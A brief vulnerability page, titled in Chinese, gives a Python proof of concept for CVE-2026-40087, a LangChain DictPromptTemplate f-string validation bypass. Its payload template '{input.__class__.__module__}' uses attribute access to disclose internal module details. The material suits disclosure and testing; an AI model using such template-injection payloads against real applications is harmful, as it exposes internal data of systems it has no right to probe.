CVE-2026-40087 LangChain f-string模板验证缺失漏洞

# PoC for CVE-2026-40087: LangChain f-string Validation Bypass # This demonstrates how attribute access in DictPromptTemplate # can lead to unintended information disclosure. from langchain_core.prompts import DictPromptTemplate # Scenario: An attacker controls the template string # Vulnerable versions allow attribute access bypassing validation malicious_template = "Extracted Data: {input.__class__.__module__}" # Create a prompt template instance using the vulnerable class prompt = DictPromptTemplate.from_template(malicious_template) # Input data usually provided by the application context user_input = {"input": "harmless_data"} # Formatting the prompt triggers the evaluation of the expression try: result = prompt.format(**user_input) print(f"PoC Result: {result}") # Output might reveal internal module structure or sensitive attributes except Exception as e: print(f"Execution blocked or error: {e}")